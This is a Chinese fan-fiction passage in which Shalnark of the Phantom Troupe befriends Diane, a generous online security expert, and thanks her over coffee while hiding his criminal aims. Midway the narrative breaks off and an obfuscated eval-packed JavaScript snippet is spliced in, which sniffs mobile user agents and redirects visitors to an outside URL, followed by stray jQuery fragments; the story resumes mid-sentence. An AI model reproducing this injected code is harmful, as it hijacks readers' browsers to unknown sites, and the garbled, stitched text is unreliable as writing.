咖啡店里弥漫着焦糖和牛奶的暖香,午后阳光斜斜地落在靠窗的桌面上。
侠客面前的笔记本电脑屏幕泛着幽蓝的光,他修长的手指在键盘上停顿了片刻,微微侧过头,看向坐在旁边的黛安。栗子色的长发被她随手别在耳后,露出一小截白皙的脖颈,棕色眼眸在光线下像融化的太妃糖,正专注地盯着他屏幕上的代码,嘴角带着浅浅的弧度。
“这里,你试试把循环条件改一下,”黛安伸出手指,隔着半寸距离点了点屏幕,指甲修剪得圆润干净,泛着健康的红润色泽,“对,就是这样,你看,响应时间缩短了好多吧?”
侠客第一次点进那个技术帖时,纯粹是为了找一个冷门协议的漏洞文档。发帖人的ID是Prometheus(普罗米修斯),帖子里把那个协议的底层逻辑拆解得极其透彻,甚至附上了几种非常规的绕过思路,让侠客眼前一亮。
侠客想了想,试探性地回帖问了一个刁钻的问题,关于数据包重组时的时序攻击可能。不到十分钟,对方就回复了,不仅回答了他的问题,还把相关的RFC文档历史版本差异也一并列了出来。
侠客挑了挑眉,有点意思。
后来他又问了几次,每次都是针对某个具体技术节点的深度挖掘。而这位Prometheus仿佛永远在线,回复速度极快,解答详尽到像在写教程。渐渐地,侠客发现这个人的知识体系是完整的,是经过系统训练的真正懂底层原理的人。
幻影旅团的行动向来需要隐蔽,任何频繁接触的外部人员都可能成为隐患。他开始在对话中故意夹带一些似是而非的试探,比如半真半假地提到自己“帮朋友处理过一些数据恢复”,比如玩笑似地问“你这么厉害,有没有查过我的IP啊”。对方的回复永远坦诚得让人无话可说:
“没查过呀,你问的问题都挺正规的,干嘛要查你?”
“数据恢复啊?那你小心点别把自己设备搞坏了,我有几个备份工具推荐给你……”
“哈哈我查你IP干嘛,你又不是来攻击我的。”
侠客当时盯着屏幕,指尖在键盘上悬了很久。
他换了个小号,用完全不同的语气去问同一个技术方向的问题,对方的回答依然细致、耐心、毫无防备。他甚至在另一个技术论坛搜到了这个ID的历史发帖,全是各种技术分享,从网络安全到开源工具,跨度好几年,态度始终如一。
侠客在大脑中复盘
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17713780|208479||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了一遍之后依言操作,代码跑通的瞬间,他露出一个真心实意的笑容,转向黛安,眼睛里看起来满是认真:“真是多谢你了,帮了我很多忙,我都不知道怎么感谢你了。”
黛安愣了一下,似乎没料到他这么郑重。随即她笑了起来,眼角弯弯,带着点被逗到的甜意:“无偿分享知识不正是互联网的意义嘛,没什么啦。而且你真的进步很快诶,一点就通,比好多科班出身的都强。”
侠客被那个笑容晃了一下眼。阳光正好打在她脸上,栗色发丝边缘泛着金色的光,棕色的瞳仁里映着他愣怔的表情。
诶?
你知道我学这些是为了什么吗?
好吧,她当然不知道,要是知道的话她也不能活着坐在这里说话了。
“侠客?发什么呆呢?”黛安伸手在他眼前晃了晃,棕色的眼睛里带着关切,“是不是刚才改代码太耗神了?”
侠客回过神来,重新挂上那副温和无害的笑脸,金发在阳光下软软地垂着:“没有,只是在想……你真的帮了我很大的忙,这顿咖啡我请吧,就当做感谢。”
黛安笑着点点头,收拾起自己的平板电脑,爽朗地摆摆手:“行,有问题随时问我,下次见。”